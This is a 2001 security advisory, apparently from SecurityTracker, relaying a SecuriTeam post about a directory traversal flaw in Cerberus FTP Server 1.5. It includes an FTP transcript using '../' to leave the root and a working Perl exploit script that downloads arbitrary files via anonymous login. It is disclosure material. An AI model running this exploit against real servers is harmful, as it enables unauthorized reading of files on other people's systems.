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Category:   Application (File Transfer/Sharing)  >   Cerberus FTP Server Vendors:   Averett, Grant
Cerberus FTP Server Directory Traversal Flaw Lets Remote Users View Any File on the Server's Drive
SecurityTracker Alert ID:  1002230
SecurityTracker URL:  http://securitytracker.com/id/1002230
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Aug 22 2001
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Version(s): 1.5
Description:   A vulnerability was reported in the Cerberus FTP Server that allows remote users to traverse the directory and read files located outside of the FTP document directory.

A remote user with FTP server access, including anonymous access, can use the change command and specify a valid directory followed by '../' to change to the higher level directory. Multiple '../' strings can be appended if necessary.

A demonstration exploit transcript was provided:

220-Welcome to Cerberus FTP Server
220 Created by Grant Averett
Benutzer (192.168.0.2:(none)): anonymous
230 User anonymous logged in
ftp> ls
200 Port command received
150 Opening data connection
delphiown
226 Transfer complete
FTP: 11 Bytes empfangen in 0,00Sekunden 11000,00KB/s
ftp> cd delphiown/../../
250 Change directory ok
ftp> ls
200 Port command received
150 Opening data connection

A demonstration exploit script is included in the Source Message.

The vendor has reportedly been notified but with no response.

Impact:   A remote user with FTP server access, including anonymous access, can view any file located on the drive that the server is installed on.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.greenepa.net/~averett/cerberus.htm (Links to External Site)
Cause:   Input validation error
Underlying OS:   Windows (Me), Windows (NT), Windows (95), Windows (98), Windows (2000)

Message History:   None.


 Source Message Contents

Date:  Tue, 21 Aug 2001 00:41:41 -0500
Subject:  [NT] Cerberus FTP Server Directory Traversal


The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Cerberus FTP Server Directory Traversal
------------------------------------------------------------------------


SUMMARY

 <http://www.greenepa.net/~averett/cerberus.htm> Cerberus FTP Server is a 
multithreaded Windows FTP server designed to use little CPU and memory. A 
security vulnerability in the product allows attackers to traverse outside 
the bounding FTP root directory.

DETAILS

Vulnerable systems:
Cerberus FTP Server version 1.5

Example:
220-Welcome to Cerberus FTP Server
220 Created by Grant Averett
Benutzer (192.168.0.2:(none)): anonymous
230 User anonymous logged in
ftp> ls
200 Port command received
150 Opening data connection
delphiown
226 Transfer complete
FTP: 11 Bytes empfangen in 0,00Sekunden 11000,00KB/s
ftp> cd delphiown/../../
250 Change directory ok
ftp> ls
200 Port command received
150 Opening data connection

As you can see, you need at least one valid directory, to break out of the 
ftp root-dir.

Solution:
Author has been contacted on the 12th of August, no response was received.

Exploit:
#!usr/bin/perl

# this exploit will download files from
# the ftp server, even if they are outside of
# root directory.

use Net::FTP;

$loginname='anonymous';
$passwd='';

$dirname= '';

print "\n-----------------------------------\n";
print "Cerberus Ftp server 1.5\n";
print "directory traversal exploit\n";
print "by Christoph Heindl\n";
print "se00020\@fhs-hagenberg.ac.at\n";
print "-----------------------------------\n";
if (!$ARGV[0] || !$ARGV[1]){
 print "usage: cftpsploit.pl <host> <dir/file>\n";
 print "  example: cftpsploit.pl 192.168.0.2 boot.ini\n";
 print "  will download boot.ini from c:\ if server is running on drive
c\n";
 exit;
}

$ipaddr=$ARGV[0];
$ftp=Net::FTP->new($ipaddr, Timeout=>5);
if (!$ftp->login($loginname, $passwd)){
 die "\ncould not login\n";
}

print "searching for directory...";
foreach $dir ($ftp->ls()) {
 next unless ($ftp->cwd($dir));
 $dirname=$dir;
 $ftp->cwd('..');
}
if ($dirname eq '') {
 print "failed\n";
 print "trying to create pseudo dir...";
 $mkd=$ftp->mkdir('pseudo');
 if ($mkd) {
  print "ok\n";
  $dirname="pseudo";
 }
 else {
  print "failed\n";
  print "exiting...\n";
  exit(0);
 }
}
print "found dir\n";
print "dirname is: ".$dirname."\n";
$pathtofile=$dirname."/../../";
print "getting file...\n";
$ftp->get($pathtofile.$ARGV[1]);
$ftp->quit;
print "all done. file located in current dir";


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:Christoph.Heindl@fhs-hagenberg.ac.at> Christoph.Heindl.



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